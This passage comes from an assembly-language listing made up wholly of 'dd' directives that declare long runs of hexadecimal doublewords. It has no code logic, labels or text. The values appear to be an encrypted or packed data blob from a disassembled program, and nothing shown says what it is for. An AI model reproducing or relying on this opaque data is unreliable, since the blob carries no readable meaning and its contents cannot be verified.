2FBE19C4h, 3C27173Ch dd 0BF04542Ch, 0E3DA5093h, 1AC2795Ah, 1A42815Bh, 0F1CAD856h dd 22E89F87h, 5EE644A3h, 0E42000ABh, 3A4AE80Ah, 0B1FB3986h dd 0A4AD9DC3h, 63A635C8h, 0FBBAB8F6h, 57831655h, 6CE9D7B3h dd 75E5376Bh, 196DC8B1h, 0BE7BBBBEh, 0E38A98AAh, 3E2DC76Bh dd 5A44E123h, 0EB49D9BDh, 78D4C4D5h, 5823AD58h, 0EFF23AC0h dd 211DF8BEh, 7E3F123Fh, 78511392h, 0F84E1DDBh, 74C06D8Bh dd 4BC0F340h, 5FD21702h, 0DDB0B61h, 4FA7D62Ch, 92BA0349h dd 0D9081119h, 47DD910Bh, 701CFE9Eh, 0B68D0A34h, 8F154D40h dd 0CB34F12Ah, 0D0AD75CCh, 1C68C387h, 0DAE47A9h, 1A254EAh dd 5C3F0DD3h, 30833541h, 0A476773Ah, 81D4CE94h, 608C568Fh dd 9FEA72F4h, 8CF3F70Fh, 226E8377h, 0F8D0BEBh, 5CFC0272h dd 2C23AA98h, 7E1FC39Eh, 0B11D54EEh, 12C24FDFh, 12AD83ADh dd 6F45A5F5h, 566A6DE2h, 0A229D201h, 929C5585h, 0BA5BC0F3h dd 0C46E7605h, 5E216478h, 0F1243865h, 3D5E4601h, 19371DFBh dd 91C87ABCh, 96E6802Fh, 0BE189AB8h, 2F381E5Fh, 447F3D46h dd 212E632h, 0DEFCCF8Bh, 0C2DE7865h, 7234FA74h, 32232D75h dd 56B43AA0h, 0E0332001h, 5E78AB2Eh, 0B789D0Ah, 0B4A827AEh dd 4FDB59ACh, 57188D80h, 0A0A7E29h, 0A80EE6Ah, 0AC032A60h dd 0A16A2A33h, 4911CB30h, 5581B52Ch, 0D2694EC6h, 0CBA597A6h dd 94004989h, 0EE902572h, 0E4C2CA95h, 0F643080Dh, 6F52209Bh dd 2C9711B2h, 5C5E46D5h, 4F75BAACh, 0DA7A0244h, 4D2EC7E9h dd 0AA8CC1F9h, 0E0C989D8h, 0FEF16FEh, 0D39841A2h, 0DC8D652Ah dd 872396E8h, 0C432AD4Ch, 445AD60Ch, 0BC2C8C29h, 654710B6h dd 15B5CE23h, 94F5BC55h, 0B75067D6h, 390DAD6Bh, 94947FDAh dd 0C0257EEh, 0F3D663A7h, 0DA7F21ABh, 958F8037h, 6FDF9BFAh dd 0F8F2707Ah, 0DB1B7821h, 5C4FD040h, 3E40B832h, 6B4ACCC5h dd 19BED1FCh, 5934AB40h, 9EBD3CE0h, 0A0756CFh, 9F839F81h dd 9CB5AA26h, 0A010E00Bh, 0EEFEA19h, 99D330ACh, 769E0C03h dd 34B1CA39h, 0FAF5B143h, 2E114CD5h, 0EEDCD5DCh, 0C87D2611h dd 0A0CE2084h, 59D9A2AFh, 0D28B1507h, 0E76A3B52h, 75676E44h dd 0B5B51706h, 11BF9102h, 0F0A29699h, 0CE44506Ch, 37091CE8h dd 7FE1AB07h, 0FD9C991Bh, 0B2787419h, 26033563h, 0B0FE908Fh dd 0ED78181Eh, 43BAB5BCh, 69109491h, 90846473h, 42EAEF0Bh dd 5B13CB9Dh, 2F146Dh, 32B354AAh, 0E4EB5937h, 0B4E36197h dd 9744F4Fh, 817BBEA0h, 458317B8h, 7CFF081Ch, 1DB6C3F6h dd 0FE5B04C8h, 1D21DB32h, 8DF526F3h, 772899C4h, 0C226621Ah dd 5CF260C6h, 889D6E53h, 8AF041EBh, 50EDB8FCh, 0BF49CCD1h dd 0AAEDA8A0h, 13BC09F0h, 6BE0DE03h, 0BEB0C6F3h, 8CF843BCh dd 237C6A3h, 60F85525h, 5966EEB7h, 779A28A3h, 0D4D2F891h dd 7C937Ch, 5A86CF22h, 6BE17EDDh, 8D50FE95h, 448B2F37h dd 3A6F58B9h, 1B1638EFh, 4DCB6ABFh, 0E2575094h, 0DF914E33h dd 0EAC72105h, 9BC8362Ch dd 0FEFD26CDh, 68A1DDBAh, 0AF1E54FBh, 0D96A2B8Dh, 32A9CD3Eh dd 0D49919EBh, 0E98271D4h, 0AA8318B9h, 445BDFh, 1EF29396h dd 0A97A3D6Eh, 6441764Bh, 2D29CCF4h, 1CDE350Fh, 1A26BBD1h dd 40265E98h, 1A507A5Bh, 0CBA56F19h, 6387F36Eh, 5A5E1A7Eh dd 0D8932A74h, 29C35966h, 557B4538h, 178BF855h, 521ACD28h dd 4DF1EB85h, 1DB9BF0Eh, 0A5BBA539h, 70582482h, 0F55A98D9h dd 0F000769Dh, 0FF5D806Bh, 780AF6FCh, 890F77FCh, 3B901263h dd 6FBC2682h, 0EE8B4C76h, 336C85A6h, 19C5D217h, 321B5483h dd 22B3CEB0h, 0A83C4121h, 5EB5B372h, 0FDEF5082h, 0A5C6EB74h dd 0ABA01C4Dh, 0D59E9C99h, 0C9BCE0F3h, 1FF8FCCBh, 12AB27C2h dd 0B8316919h, 2AEBDB93h, 0E269FB5Eh, 0C81F7DEFh, 7DBF4ED5h dd 2CC932FCh, 0D23C4FDEh, 43E9371Eh, 4F6FB1CAh, 0FF5E816h dd 3D9DBA55h, 295B44DCh, 578114D3h, 4DDDA9Ch, 5D01DEBAh dd 23C70F2Dh, 0AD1A7C9Ah, 0B1F9C3DCh, 5B828965h, 6E36223Bh dd 5F360BCFh, 0A32605F3h, 0B39B2998h, 5B415825h, 63EC565Bh dd 555E77h, 0A9B5E7BDh, 0EDA38839h, 0DF6FFA08h, 2C7828C6h dd 753692F9h, 9D8A7A4Fh, 75C3D276h, 91C85938h, 3E174C11h dd 1B0C9288h, 7A40F82Bh, 0CFDEFDF6h, 2ED6147Fh, 0CE5C7195h dd 6E1AF46Fh, 0DB496C61h, 66BEA5D0h, 3C043862h, 0E905EA0Dh dd 3C716E43h, 0C4FD510Ah, 4AE91C2Ch, 737B512Fh, 0AFBDE87Bh dd 9B88DA5Bh, 0E5F726F3h, 7738C552h, 0E679E9E3h, 2482E637h dd 9A6CB1C0h, 8E63658Fh, 4AC7DC25h, 0CF98605h, 0DB8C2AE1h dd 0C4C2EEEDh, 9627D86Bh, 0FC1F30F1h, 0EA25966h, 49A86178h dd 484B774h, 0C71BC31Ah, 7AC845D0h, 0C8FF2707h, 418A0B77h dd 705E2473h, 3D47B607h, 6418D887h, 5BEAF569h, 7DB89609h dd 7762C773h, 8D83D137h, 0A2A39E8Ah, 2006D64Ch, 1B40D6F2h dd 0BD358D48h, 6C9C0103h, 0E1F3C8FDh, 85A41034h, 86999B50h dd 90670C9Bh, 0D0F0E93Fh, 973BA9DEh, 0B8F13470h, 4AD31EF0h dd 0AB5A5A8Eh, 0D539D12Ch, 85C3A51Ch, 0A4ABBCDCh, 4BCD540Bh dd 0CDCFDD04h, 0AABECDFh, 0F4EADA1Dh, 6DBCEC22h, 927C917Fh dd 0D0D848F5h, 0C0877DD9h, 1A44E726h, 0A06DAFE2h, 546CA959h dd 8910C0F1h, 7980F012h, 6D2A11F3h, 85F315F8h, 9B849648h dd 228EAB8Ah, 13F11C88h, 0D813A10Dh, 60D785D4h, 0FE94468Ah dd 6638A14h, 223764Fh, 7E2ACCEEh, 0B0C277E3h, 964504D5h dd 54261119h, 0E70BC51Dh, 4DDCF98Dh, 49436655h, 324C97D7h dd 987E476Fh, 0B62441A7h, 17FAFEFDh, 0F09366B9h, 1CEB9F53h dd 53FB7E02h, 2DC8624h, 22B787E6h, 84DEB2D1h, 7AB6A12Dh dd 52598017h, 4D584442h, 0EA18AC26h, 0A4AA3D15h, 965EFDEh dd 0B909C2A6h, 0BA1AF41Bh, 9B5A210Bh, 0E2D7BED1h, 414B837Dh dd 78A9DFEh, 0A369E14Fh, 0CFE6C470h, 76C6BDE0h, 16D47954h dd 4A579D5Dh, 0C522F6D7h, 0A4B8B4E9h, 415D4CECh, 0AC30A595h dd 0F41BD2D6h, 9244520Dh, 3DDB8720h, 0A87D6FDCh, 686CBA44h dd 281F0E3Dh, 775FAABFh, 7F733330h, 24A547A8h, 0D828F8BEh dd 8E1BCE7Ch, 5171149h, 71642E57h, 0ED856713h, 0FFC20C32h dd 0CD54456Ch, 66CE7D63h, 7C24FB07h, 94246C17h, 8007C6C3h dd 27A891BDh, 0DC66B0FEh, 3EEF45FCh, 4429725Bh, 0C91D1051h dd 0EFAE50C7h, 2BB6B3E4h, 93D810CEh, 0D86F6DE4h, 0B5F2424Bh dd 0FCFEE33h, 1EB53ED0h, 0A5835897h, 7820247Fh, 409BE9C1h dd 555539DFh, 5788999Eh, 58D73B25h, 3095980Ch, 0A8B9CDDBh dd 0BC7C334Bh, 0A6894211h, 0EFB8C849h, 7B630EFCh, 65EBF009h dd 6DD3ECC2h, 75566137h, 9D0D3AE2h, 0AA66AC6Ah, 795CC8A1h dd 858269BDh, 8DC4DB58h, 0BE74F32h, 1F8CFBEDh, 6EA89A20h dd 66CF4980h, 929B05F4h, 0F1161754h, 0CB7CCB93h, 0A50220D8h dd 20375BE1h, 30E6E3A4h, 0DFE98BB8h, 28E9AE4Eh, 0F3D2F10Ch dd 739ED6E8h, 0B1706D22h, 84194A94h, 0B2A34256h, 44E32B0Dh dd 5D6C2CDCh, 0B5054FE2h, 0BB9DFAEEh, 2C78A7EDh, 808ADAEEh dd 0D465CF0Dh, 5B24540h, 8629BEE7h, 314D7DADh, 0C1B42B90h dd 9CA50C70h, 1D8DE936h, 42573973h, 69371DCFh, 4E4B1F58h dd 5EA2362Fh, 0DBBF9DF1h, 0E7B2452h, 598023E3h, 7AD620Ah dd 2E5DF2ADh, 0C004E782h, 9FD5EB82h, 8F54013Fh, 7EE41BE3h dd 0B2E78EC5h, 7CA0810Fh, 4069392Fh, 6A3A2368h, 0BE03211Bh dd 0B5E1C7E5h, 0F415AF6Fh, 0E9B836F4h, 8AF21DC0h, 20BF0DB6h dd 1833A634h, 0DF51E39Bh, 11B586ABh, 0DFC24322h, 9FDB8D94h dd 0BD34BAE6h, 0E3BB4116h, 6F9CADB8h, 0FA0839C3h, 87B7EAF6h dd 11181379h, 7A1157DAh, 0DBF561E8h, 0FADB8839h, 0C8FDD801h dd 1C77A0EBh, 4B314340h, 75373853h, 83D84AC9h, 414AAAB5h dd 9AA523h, 0DCA439CFh, 0DF3EC024h, 16313CECh, 97F8D4DBh dd 54ED3642h, 0C0DAB58Fh, 0E050E901h, 0FC7B5F83h, 623467F2h dd 59EB3664h, 0B257072Bh, 0BE91FA1h, 0BAB6E4E0h, 0AFB4A1C2h dd 33987D2Fh, 0A00A5697h, 1221E5FAh, 0CA85DD04h, 40156D93h dd 0AE3FDC35h, 0EF4F2C12h, 998BF2D3h, 0E1D6C5CFh, 735202D2h dd 0AFA12FA6h, 8E55C6BFh, 185020E1h, 24662E1Dh, 94422658h dd 8FC7B708h, 60ADD2CBh, 0EC9E14BDh, 0DE4218E1h, 0A642A96Fh dd 900CA2Eh, 70D928C9h, 51E9496Ch, 4D51866Fh, 0A25D0975h dd 8BFD1C74h, 0F74FD34Eh, 0C3BC1B80h, 0CD549E21h, 24E9367Fh dd 0FC4C4803h, 6539E83Fh, 699A9CD6h, 0EEB884D1h, 2ADCC7B0h dd 0C608E9CFh, 8A04525Fh, 0E688B7CBh, 77F5DFD7h, 6B20029Bh dd 5556F2BAh, 0BAEB88F2h, 50D05C8Ch, 0D6D71870h, 0ADE4A842h dd 0BE6010D6h, 0FB10DA2Eh, 0C9CE0D00h, 994AFAB9h, 0B3565220h dd 0DBDD62F7h, 64895B4Dh, 55759AD7h, 59DAE4C2h, 0A85EED22h dd 0E543666Bh, 36F177B6h, 6D945AB1h, 3F975F76h, 4057823Fh dd 0C7265716h, 428F13E0h, 5451C8F7h, 0CB0047BBh, 3967F7C3h dd 43BF6411h, 3F49DD30h, 0F2F73444h, 0C14A19E7h, 96C61BF4h dd 7401CDE6h, 961DA976h, 5C1E7BA9h, 3E72E7ECh, 0AA2BC155h dd 637BE307h, 0E10FDBFBh, 0A8EB8C14h, 11718F3Dh, 72F504BCh dd 8C268933h, 0D3F5703Eh, 0A23B2648h, 0F160E717h, 34ED6BD0h dd 0E88B60F6h, 3D889380h, 0A761B869h, 0AA02E324h, 5F1B5F17h dd 0E28A8B17h, 70AB3BB8h, 1D09AA3Bh, 0B272D917h, 4DEAB54Ch dd 5703B0CEh, 0BF9D79CBh, 0F9CED29Ch, 4282D799h, 82504CDDh dd 3E836EB9h, 0AE701478h, 8815BADFh, 0D932CEA8h, 4FE699ADh dd 0AF44801Ch, 90A02653h, 0D7AE5790h, 681CFD6Fh, 0FD78AC1Dh dd 98620300h, 8968F4B8h, 73472FAFh, 3A11DF4Eh, 0AD57FDA6h dd 30CD1ACh, 35746D9Ah, 7242FA85h, 524DF2E4h, 0ECCFF0C0h dd 48523E7h, 9162235Eh, 0F7A03193h, 0CE6FA055h, 0C6A239Ch dd 7F22F173h, 0D323BF2h, 82ABBE5Eh, 0C40E82B1h, 38988C7Fh dd 29112098h, 60B479C5h, 0B94C17Fh, 131C40A3h, 0BCB0638Ah dd 0A0F29675h, 1326D633h, 3C1602EEh, 8F68288Ch, 0FC828D65h dd 36EFE61h, 0F1A19FD8h, 4DFC2A6Fh, 0D6650516h, 643FB01h dd 3971BE57h, 0A2EAA1A5h, 21EDF7A8h, 8312F43Dh, 9AE1038Ah dd 8CD96E19h, 588C5FD1h, 0CEDA582Ch, 1D09CD28h, 0D39D2C2Dh dd 0BD634979h, 0D9FF9D5Eh, 80A8CF24h, 8A096628h, 59E29FD0h dd 9FA0CC8Dh, 7876BFFh, 1CE82387h, 0F6F53CB8h, 5DDB81ACh dd 0CA43FB6Bh, 9D3FCB8Ah dd 4CADF5C7h, 0D64CA971h, 0F0A82528h, 4AD7515Dh, 56DE40B6h dd 0CE2BA5C9h, 3E02E7DBh, 86253519h, 0E2948881h, 99A41943h dd 0FE2ABC58h, 0B354F3F9h, 96893139h, 6DEAC9C6h, 50DB3014h dd 67CCB8C1h, 0F78866B1h, 75CC58B0h, 6ECF7E93h, 0EFD7BFC5h dd 76DE2485h, 46BC9AC4h, 0E5B7FDF0h, 0BF01F62Fh, 0E3E46B63h dd 453C7FA0h, 278ACD6h, 0DFF58E54h, 14C3968Ch, 0A990F1E4h dd 8E6A148Ah, 5DAD7767h, 0AB586E9Ch, 0BA1AB90Eh, 46856345h dd 4ADAC611h, 23B61075h, 7CD7E931h, 0B5320B6Ch, 0A70A7C99h dd 9A987C4Dh, 0D95E3F05h, 4AF5785Dh, 1C229F75h, 0DFEB719Ah dd 0E500D81Bh, 210BCCF7h, 0E909552Ah, 1D0CB4FAh, 95C5C51Dh dd 651257FDh, 0D8EC93E2h, 0DB22954Eh, 98490712h, 0D33E0A19h dd 0BCB4D9DFh, 363CE20Fh, 6F827A59h, 6C94DD2h, 8AE3EF9Dh dd 254533BEh, 7334B038h, 762156BFh, 0D2690240h, 0EAB10ACh dd 3E27FB69h, 0D6E75165h, 0CA9461A4h, 35CA8BB6h, 0F184D375h dd 0B23B9F7Bh, 35DD65DAh, 2546A19Fh, 0BB1351A2h, 0B440C3h dd 51E887BDh, 0DC890B59h, 5C7FA503h, 2EE091C7h, 0CE65B6D0h dd 0A1C319A4h, 0C2F98514h, 22EDEC62h, 0F4B1AB17h, 0B343C8D1h dd 0CC9060Dh, 0D8F18405h, 0DA118493h, 0C0A4B546h, 0F0904F93h dd 759B1CD2h, 7FFFCE9Ch, 5BD9D7E1h, 35C03744h, 0FC72E6EBh dd 628EBE5Eh, 0A1A3CD37h, 71BB57B2h, 0BD42F2AFh, 6951F9CFh dd 0E879CED9h, 192BD100h, 0AA167DEBh, 7C9182E0h, 4FA8FB21h dd 40E4FF43h, 26F7D85Ah, 748B4A53h, 0E93162E2h, 20003783h dd 0F60390ADh, 0B8DD04C7h, 234EC41h, 9FE33EF5h, 47DF05FFh dd 10CCC516h, 886DF607h, 0C29DFA93h, 0EB1BE1F1h, 55A35016h dd 0EDA0FCD5h, 7341B469h, 66A37085h, 0A93BE01h, 0E4891113h dd 0B683546h, 80FCFEE2h, 0CDC02F72h, 5918FA17h, 0EF554E51h dd 3D2C012Dh, 9C0F588h, 0A32BD15h, 6AD8CF7Fh, 76D7739Dh dd 9C4AF700h, 73C5B770h, 6A40D04Bh, 0CE009231h, 38BC4FDEh dd 4701DF34h, 7725A944h, 0CB10EE6Ah, 0B1FF3D80h, 0E464D5A7h dd 5E5CB5F3h, 0EEAD1D77h, 5ACB2BBBh, 0AD4726A3h, 9273EBE4h dd 0D35F1833h, 0C04D212Ah, 0EE5A80ACh, 89482366h, 47852E40h dd 18D5840Ch, 15D7187h, 0D9E90772h, 0DE59EFA6h, 0AB0A9229h dd 0E208EB28h, 909DBC35h, 9A4D6393h, 500D00B8h, 4EE01FB9h dd 0B9C87614h, 0D81CDA67h, 86ECBCCh, 7A83DCEAh, 26371CD1h dd 6E82408Ch, 834D2BBEh, 6FA74C9Dh, 0DBADEFCFh, 0D1BBA44Dh dd 6B9EC2Bh, 0F8ED71Ch, 0D00C9421h, 603A26F6h, 0F7BC1650h dd 0C5EA7018h, 6C5E26E6h, 655F9001h, 72B2E6E3h, 65A191BCh dd 0EB5E0462h, 0C7256F12h, 3A9465ABh, 388D15D8h, 1BF2A0E2h dd 24ADDFE7h, 0C4F7593Ch, 51BD82E0h, 323D19A9h, 151F32E4h dd 0F4680B44h, 0CC31D592h, 86CD8122h, 0C0AAC2D6h, 0D48B6784h dd 0A7082A26h, 0E15C496Ah, 0EBA374BFh, 0AAC5A60h, 0F67E6E4Ch dd 14875509h, 90AFF9D2h, 9182CD04h, 45BAB76Ch, 4244627Bh dd 0C03F2770h, 0B2DA0A56h, 0AE8E5B39h, 1BC0BCDBh, 910A2F6Fh dd 3C381AF9h, 81B330BEh, 34A4562Eh, 0B28E1E83h, 0AB942A1Bh dd 0BC396D20h, 6D27B22Fh, 79204237h, 514682CFh, 71EEDBB3h dd 0D647F255h, 4144660h, 22449EC2h, 6295511Eh, 0CB790F98h dd 0E84BAB71h, 6D59DC9Dh, 0F9CB5A9h, 41D25B1Bh, 0D31C7C49h dd 55190AF6h, 0DF9A0B79h, 0FB6476C5h, 0D06CB535h, 2F96AEC4h dd 8B4F8D9Ch, 0DE61C4CBh, 249B7EB1h, 27E50754h, 0A4B2F4D3h dd 869DD2FFh, 8B188440h, 0C2BEBE02h, 11A775FBh, 2B53CF56h dd 4DE1346Ch, 7332DB48h, 0F590F051h, 69B7E6CFh, 0CB1F9016h dd 0C5F5201h, 0B4E77FDDh, 83EDEC25h, 659F86B7h, 3D23A47h dd 9EDB5A03h, 72243E48h, 2FDD16CFh, 0C79EF274h, 0FE6584CEh dd 703289AEh, 9D05247Dh, 7B94FC7Dh, 8822B618h, 0EA2F8415h dd 151133DCh, 0BADEFC52h, 0E7753204h, 966A0A40h, 7CA6C499h dd 4EA2D804h, 89A9931Fh, 3081F124h, 866634D3h, 43BD66Fh dd 93DBC3D6h, 0F01BEB19h, 3D817849h, 0F57A150h, 733FDF42h dd 365A0E94h, 8CBAEB81h, 5C788D03h, 0F9B412DFh, 1AE062DBh dd 22BA38FAh, 4981D5A2h, 0BAF862E1h, 9B9B8B28h, 6977F6D4h dd 49E95F6Bh, 78373A32h, 0AA129831h, 0EE9AA526h, 0C23727F4h dd 8CB59133h, 1FD6BC8Fh, 0DFDB6512h, 3FB1A1FCh, 1336A799h dd 2859BAA9h, 0BA731E4h, 70A14843h, 0BDE770Dh, 1B156732h dd 0DDEC4959h, 4F9458A4h, 5906D517h, 894114F7h, 1537A79Fh dd 9361A454h, 3145C85h, 0A19F8A34h, 2CACE07Eh, 0E9026410h dd 0F2FFA81Eh, 0D95B9D07h, 576F9A61h, 0E3CBC380h, 86F40D10h dd 2E7E9EB9h, 3FB88726h, 3676ABDFh, 0B9A756BDh, 0D95410A7h dd 0A01368BBh, 4C24904Ah, 0E028DB16h, 0E62F33E7h, 46C54830h dd 0A303FA26h, 0DF3D9568h, 1442B6F6h, 3441D65Ch, 0AEE08887h dd 77446B4Ah, 0E876ACCEh, 85FC084Bh, 2EE95689h, 4A6ED49Fh dd 924CA958h, 8766DDFDh, 4734BC7Bh, 4B6B1687h, 0A2A49B64h dd 0D01441F1h, 97F5DFB1h, 5AC9F4D3h, 90BB8B33h, 947AC7B4h dd 374CD19Eh, 6E9D2A90h, 5B592650h, 0EFBEF3ECh, 75EBC420h dd 0E0D9F180h, 0D35163AEh, 153549ECh, 0C21860C6h, 0BBEAB645h dd 824DCC13h, 0A42326DBh, 53463527h, 0F5ACFC21h, 0FA8830B6h dd 0B68DDAA6h, 59B4C796h, 0D65A3191h, 0FCE4A375h, 211C4908h dd 0B6933E4Fh, 15AEDA40h, 0B81F052Fh, 14D1479h, 0F0781A77h dd 79847D5h, 0BEAB2A07h, 648BECF1h, 68FB1DEDh, 0D115105Fh dd 511B09AFh, 0D7EB1A8h, 0EB40B736h, 0ADA19E4Bh, 0C8B0F783h dd 0A5021F39h, 0DB7BCC34h, 0EF5D60D0h, 0E14E557h, 0A64FA4F5h dd 0D48BFEDFh, 71DAF280h, 4CE387Bh, 6F679FBDh, 1C902759h dd 4A2ED693h, 516114BAh, 0BEA8C9E4h, 3671491Ch, 3D6BD3BFh dd 0EC22F350h, 9780E26Bh, 99A4D801h, 992314CBh, 17EAB31Eh dd 3CF3917Eh, 0DCA7C0Ah, 58946FEAh, 5EA3619Dh, 0ABCE1C39h dd 0CF27E411h, 829C32FCh, 0DDA80395h, 9FC321Dh, 35920E94h dd 0B855B8B7h, 4493513Dh, 3276BCBDh, 67D972C8h, 13EB470Bh dd 3626C330h, 0EF284E9h, 51ABD286h, 0CC6C4235h, 7AAA6085h dd 0FFA42D9Ch, 0FB9D0F8Fh, 0A7482D77h, 0E01F2ADh, 73E66A2h dd 5DFBF636h, 5B483684h, 2A0D7F49h, 0FE094316h, 0CC2AFC6Ch dd 3BAD31CCh, 2A20BA18h, 4659F30Eh, 8AB9B1CFh, 0E419D8DCh dd 0D142333h, 0B47E8725h, 205CA6D3h, 0F6FF1E73h, 8DA4B17Ah dd 0B2D65398h, 223E0870h, 0E426861Dh, 8DC6B2E9h, 0AF1A1428h dd 175BDEDFh, 0B0E5A29Bh, 0E418E79Dh, 391255F9h, 0F332A469h dd 0E64AA2F0h, 18CBCAFBh, 3DE95B7Eh, 4F0FFDA5h, 3FAD261Dh dd 78C6DA8Dh, 354F0EBCh, 2E592C3Dh, 0F3EE3F64h, 77A8A52Eh dd 83576E9h, 0FA376309h, 1FDE5316h, 27842DF9h, 277F9D12h dd 0F296F4A1h, 0D3FEAF95h, 72DDF25Ah, 6E822BCAh, 8BDA0C99h dd 2F3E992h, 0F4317C3Ch, 0CD6F4D3Eh, 0DAB3A981h, 0BDC3CF38h dd 0BBB81280h, 7A4AB565h, 256A39ADh, 0C4575BB1h, 51A374CBh dd 6B393D60h, 0A11B56B6h, 69E0DAEh, 5739BF48h, 2C4BAE3h dd 18C1CCDEh, 0BCB7A5CEh, 396E358Ah, 81423DA1h, 0DBD708BCh dd 207AA419h, 0EB2BDE9Ah, 2DE7CF80h, 0CE0264BBh, 90631911h dd 0D3A8FD71h, 7A1F03E5h, 23BBA81Ah, 9A60A45Dh, 52513819h dd 69E1C2B0h, 66676F98h dd 9243E20Ah, 0E51B4DD2h, 9DBF81C7h, 61A073CFh, 9CF133A0h dd 40F710E6h, 3CD429FEh, 6A401CE7h, 21ACDEEBh, 0F39B7E2Eh dd 0E600E47h, 8C692ABBh, 0ACEDCDF2h, 0D37C79E8h, 0F3296669h dd 0F4671C5Dh, 35F24642h, 0E64E60E0h, 6A038CBAh, 953DEA29h dd 0FA74C821h, 0A1F2E19Dh, 1A1C57AAh, 0EB729CB6h, 5E2CE47Eh dd 0E32E7B19h, 0A153CD36h, 0B456456h, 525C2A1Eh, 0CC8570F9h dd 9B548C40h, 33358FACh, 0DF3318E1h, 7581FA66h, 0D6148F15h dd 1D6527B7h, 0DA0FC72Ah, 0B0D45868h, 0D513620Dh, 0BA576E5h dd 0D63C2669h, 298852A5h, 45EB77B5h, 54E2A67h, 0ED03692Fh dd 55F6B92Bh, 2413BB6Ah, 1CCF5465h, 9006B66Ah, 40B09173h dd 0CD6373Ah, 72E26A19h, 679F8711h, 4EFFEB74h, 0BC20A4FDh dd 0EFADBD9Ch, 9187471Eh, 0B117B626h, 610C0DF9h, 0DBE90096h dd 0CC79D815h, 0EE6E2E2Dh, 61024A32h, 82AEA36Dh, 297E925Eh dd 939582Bh, 566F6E5Fh, 75AF1729h, 0D8926628h, 72EEAC1Dh dd 3F1FCC98h, 0DD50AB35h, 82CE7174h, 97D29B11h, 26014E4Eh dd 0EFFF63ACh, 0AC2B0CE3h, 4E3D7331h, 4431B8F0h, 9F8C6A74h dd 2F79246Ah, 0EEE6B46Eh, 0A1F0772Ah, 49F9CC0Fh, 0EB2DD662h dd 70020E5Fh, 5554DE13h, 0A6DF185Ch, 0B5299D7Eh, 5466007Dh dd 2355F7FEh, 8A4B4C84h, 5D7A0AD1h, 0C8CD50EEh, 0A03B83BBh dd 15C903A6h, 4AFBB8h, 0ADF9B9A7h, 8B9CD0C3h, 57C08CD4h dd 0E202580Dh, 1040FDC6h, 0F019799Ch, 0F5D2D59Bh, 0B4865C52h dd 50F548F0h, 48D82FC6h, 0E6AFA619h, 76AE218h, 822755CBh dd 0B416C16Fh, 0D8FF0E79h, 0F615E959h, 8F51D94Fh, 6D3EB37h dd 6305FD49h, 512320E3h, 0DF8A9E32h, 0AA27EB2h, 4D31F7B2h dd 758D0E38h, 9E53995Dh, 73BAFCEAh, 14ED499Fh, 0DEB375A7h dd 0AFA4CB0Eh, 8CCB1B3Bh, 8452C973h, 88A65797h, 60ED5C7Dh dd 0F6007B14h, 9DDEA6F0h, 11685194h, 0D94EE6E6h, 5835D123h dd 9D54227Eh, 0C9E30A7Bh, 49586ADh, 0E54ECA3Fh, 0CDD33E2Bh dd 0E13DE93Bh, 46518473h, 0B376F8C6h, 6C1107A2h, 0D82D81E8h dd 11D3D772h, 61A2C257h, 37CB6A33h, 9B74DBE3h, 0E1E54971h dd 5312C688h, 0BAE34FB9h, 2C89DFCEh, 5667843Bh, 27FCE186h dd 0B04F98DAh, 6211DA07h, 0BAFC9869h, 0F0AE7567h, 9FC6104Eh dd 0A99BD2C1h, 4F4ACF1Eh, 418375B9h, 0E8E1659Dh, 0C675C5D9h dd 0F72CB3D3h, 35D9A3AAh, 49729402h, 2F113427h, 0C1CB12FBh dd 5700F372h, 72538266h, 0CDD3DF04h, 1F33470Ah, 0CCB3466Bh dd 6E129182h, 820B4DEBh, 0E1EA0FBAh, 76DC0278h, 4FBCF3C5h dd 9D084E54h, 3034E394h, 3C7C6CEAh, 0AE6FEDEh, 0F5CBCD22h dd 0A7806221h, 13520E04h, 36219E7Bh, 8761BACDh, 6DC565CAh dd 9E7F83C3h, 82F498FEh, 0E3314ACh, 27FB4B27h, 0EF723537h dd 3BDDD241h, 6080A2B8h, 0C2AB996Ah, 0A4A25419h, 867FFBA4h dd 0FDCE3648h, 0B07C5DAEh, 456A3372h, 6359774h, 0FE0F447Dh dd 6508B952h, 82EDBF89h, 398D29CEh, 14D6E84Dh, 861E7AFh dd 13771267h, 960A6B26h, 868970F1h, 9E7176C1h, 0D1FA646Dh dd 98A2FBD8h, 4850A32Ch, 4298E2EBh, 8A025929h, 6E8526C0h dd 0FA901603h, 0C9747A2Fh, 856DC48Ch, 0E20B0CF8h, 0BA043B4Bh dd 861FC3ADh, 0E6457B49h, 8543695Bh, 69402321h, 4C659D35h dd 0B21CCFAEh, 35228830h, 3E863DA9h, 360F020Ah, 0DCF63628h dd 0FD59170Ah, 3431DC4h, 0FD957DDCh, 0E05F681Eh, 7F4349CFh dd 8C2D2C80h, 0C372B9A4h, 8714CC5Ch, 0ADDB976Fh, 66B1BE82h dd 7223BFB9h, 0FCEAC069h, 3AF4AE8Fh, 0ECF609A9h, 0EECFFEFEh dd 0D6ECD41Dh, 51DDCC37h, 0C3080D4Ch, 950CBCB8h, 80EFD350h dd 0BAF40B77h, 0DD4C6E31h, 0FE295CDCh, 0EF0524B0h, 38DC8915h dd 51C42A8h, 0B1C207E2h, 33C011FEh, 0DC0D3145h, 4EF2A440h dd 5B549253h, 23DFDE9Bh, 0E52D8490h, 877E9D24h, 0F6E24734h dd 85066A0Fh, 0C05687E7h, 6C0BA26Bh, 0DE446DA6h, 0BD299C38h dd 546ED0EAh, 0C742A69Bh, 3FE575E9h, 0C47C83F1h, 2662B5Fh dd 0E80AF9ACh, 0F8451F15h, 0EE128BAEh, 0CD2E695Fh, 4B6025ABh dd 0EAF883B9h, 0B3B119D0h, 50011AFCh, 0F0916827h, 0C644AB6Dh dd 0F392B54Eh, 0D82B410h, 0FF34FD33h, 0CFB4A0ECh, 5029DE8Ch dd 94870D5Dh, 37E7AAE5h, 18810125h, 3D2910F1h, 79D59F38h dd 0ACECCB0Fh, 718DFF32h, 0C1418386h, 3F856EAFh, 970B4D82h dd 34F8000Ah, 4F3A54C3h, 9E559C5Eh, 0E31FD63Fh, 3B57DF8Fh dd 0B6B0D12Fh, 3FC9DE75h, 2B5615AFh, 0B2DE0D3Bh, 4A9083Bh dd 69EDE835h, 0CB9A504Ch, 7A6DD287h, 27AC6C8Dh, 0F1E89B53h dd 73F95A7Eh, 7B97E3E2h, 0A8AAB3AEh, 0D1FEB03Ah, 4B69D975h dd 0CE13EF92h, 96EEE675h, 19A79904h, 3597D0A6h, 0D53CDE7Ch dd 2FB1018Fh, 0B00BFA47h, 0A713FF54h, 0D4AFF1DAh, 1D2093CAh dd 3F240E31h, 0D898EE57h, 0A9F56DAEh, 2BE1CC3Fh, 0F63B6E3Ah dd 0EAE7F3E9h, 5DFEFA85h, 71533177h, 